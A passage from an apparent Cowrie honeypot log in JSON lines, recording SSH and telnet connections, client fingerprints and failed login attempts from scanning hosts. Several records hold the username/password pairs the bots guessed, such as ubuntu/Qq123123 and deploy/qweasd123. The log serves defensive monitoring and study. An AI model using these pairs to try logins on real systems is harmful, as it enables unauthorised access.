.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:23:42.169039Z","src_ip":"177.85.247.230","session":"6a8698f03a00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.101.59.69","src_port":35922,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea07be37441f","protocol":"ssh","message":"New connection: 191.101.59.69:35922 (159.203.135.109:22) [session: ea07be37441f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:23:42.321419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:23:42.327734Z","src_ip":"191.101.59.69","session":"ea07be37441f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:23:42.413523Z","src_ip":"191.101.59.69","session":"ea07be37441f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Qq123123","message":"login attempt [ubuntu/Qq123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:23:42.611950Z","src_ip":"177.85.247.230","session":"6a8698f03a00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dockeruser","password":"123456","message":"login attempt [dockeruser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:23:42.789562Z","src_ip":"191.101.59.69","session":"ea07be37441f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:23:43.717235Z","src_ip":"177.85.247.230","session":"6a8698f03a00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:23:43.878878Z","src_ip":"191.101.59.69","session":"ea07be37441f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":39946,"dst_ip":"10.17.0.5","dst_port":23,"session":"77ed05f21564","protocol":"telnet","message":"New connection: 38.54.119.93:39946 (10.17.0.5:23) [session: 77ed05f21564]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:23:44.396543Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":44570,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d7cf3d4b14e","protocol":"telnet","message":"New connection: 38.54.119.93:44570 (10.17.0.5:23) [session: 7d7cf3d4b14e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:23:51.872702Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.162.42","src_port":44260,"dst_ip":"10.17.0.5","dst_port":22,"session":"89abef9932d7","protocol":"ssh","message":"New connection: 152.32.162.42:44260 (10.17.0.5:22) [session: 89abef9932d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:23:59.679174Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:23:59.683904Z","src_ip":"152.32.162.42","session":"89abef9932d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:23:59.935901Z","src_ip":"152.32.162.42","session":"89abef9932d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.10.86.130","src_port":48910,"dst_ip":"159.203.135.109","dst_port":22,"session":"e127b01b68bd","protocol":"ssh","message":"New connection: 186.10.86.130:48910 (159.203.135.109:22) [session: e127b01b68bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:24:00.545858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:24:00.550901Z","src_ip":"186.10.86.130","session":"e127b01b68bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:24:00.694797Z","src_ip":"186.10.86.130","session":"e127b01b68bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"coduoserver","password":"123456","message":"login attempt [coduoserver/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:24:00.964203Z","src_ip":"152.32.162.42","session":"89abef9932d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"csserver","password":"1","message":"login attempt [csserver/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:24:01.304936Z","src_ip":"186.10.86.130","session":"e127b01b68bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.113.245.157","src_port":48960,"dst_ip":"10.17.0.5","dst_port":22,"session":"a850ec6749b1","protocol":"ssh","message":"New connection: 186.113.245.157:48960 (10.17.0.5:22) [session: a850ec6749b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:24:01.703930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:24:01.710080Z","src_ip":"186.113.245.157","session":"a850ec6749b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:24:01.801644Z","src_ip":"186.113.245.157","session":"a850ec6749b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"qweasd123","message":"login attempt [deploy/qweasd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:24:02.195035Z","src_ip":"186.113.245.157","session":"a850ec6749b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:24:02.215665Z","src_ip":"152.32.162.42","session":"89abef9932d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:24:02.452590Z","src_ip":"186.10.86.130","session":"e127b01b68bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:24:03.295647Z","src_ip":"186.113.245.157","session":"a850ec6749b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.164.107.4","src_port":53240,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f8d0fd2a06f","protocol":"telnet","message":"New connection: 194.164.107.4:53240 (159.203.135.109:23) [session: 9f8d0fd2a06f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:24:04.030778Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":52292,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5f98978ceb5","protocol":"telnet","message":"New connection: 38.54.119.93:52292 (10.17.0.5:23) [session: d5f98978ceb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:24:04.903674Z"}
{"eventid":"cowrie.session.closed","duration":7.120537757873535,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:24:12.024089Z","src_ip":"38.54.119.93","session":"d5f98978ceb5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.766727209091187,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:24:18.797367Z","src_ip":"194.164.107.4","session":"9f8d0fd2a06f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":56832,"dst_ip":"159.203.135.109","dst_port":23,"session":"c49fcfeeda08","protocol":"telnet","message":"New connection: 38.60.198.128:56832 (159.203.135.109:23) [session: c49fcfeeda08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:24:19.441934Z"}
{"eventid":"cowrie.session.connect","src_ip":"60.199.224.2","src_port":42808,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca07445d6792","protocol":"ssh","message":"New connection: 60.199.224.2:42808 (159.203.135.109:22) [session: ca07445d6792]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:24:20.740616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:24:20.745389Z","src_ip":"60.199.224.2","session":"ca07445d6792","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:24:20.952846Z","src_ip":"60.199.224.2","session":"ca07445d6792","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysadmin","password":"123qwe","message":"login attempt [sysadmin/123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:24:21.801183Z","src_ip":"60.199.224.2","session":"ca07445d6792","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:24:23.007935Z","src_ip":"60.199.224.2","session":"ca07445d6792","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.75219702720642,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:24:27.148643Z","src_ip":"38.54.119.93","session":"77ed05f21564","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":38004,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff468d48ccc2","protocol":"telnet","message":"New connection: 38.54.119.93:38004 (10.17.0.5:23) [session: ff468d48ccc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:24:27.530882Z"}
{"eventid":"cowrie.session.connect","src_ip":"115.68.208.117","src_port":17287,"dst_ip":"10.17.0.5","dst_port":22,"session":"37284729d090","protocol":"ssh","message":"New connection: 115.68.208.117:17287 (10.17.0.5:22) [session: 37284729d090]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:24:32.141046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:24:32.145685Z","src_ip":"115.68.208.117","session":"37284729d090","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:24:32.345835Z","src_ip":"115.68.208.117","session":"37284729d090","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.101.59.69","src_port":53150,"dst_ip":"159.203.135.109","dst_port":22,"session":"83613387ced1","protocol":"ssh","message":"New connection: 191.101.59.69:53150 (159.203.135.109:22) [session: 83613387ced1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:24:32.889112Z"}
{"eventid":"cowrie.login.failed","username":"dev","password":"develop","message":"login attempt [dev/develop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:24:33.181928Z","src_ip":"115.68.208.117","session":"37284729d090","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:24:33.498966Z","src_ip":"191.101.59.69","session":"83613387ced1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:24:33.585101Z","src_ip":"191.101.59.69","session":"83613387ced1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:24:34.387101Z","src_ip":"115.68.208.117","session":"37284729d090","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.425888299942017,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:24:34.956640Z","src_ip":"38.54.119.93","session":"ff468d48ccc2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.655993938446045,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:24:37.528595Z","src_ip":"38.54.119.93","session":"7d7cf3d4b14e","protocol":"telnet"}
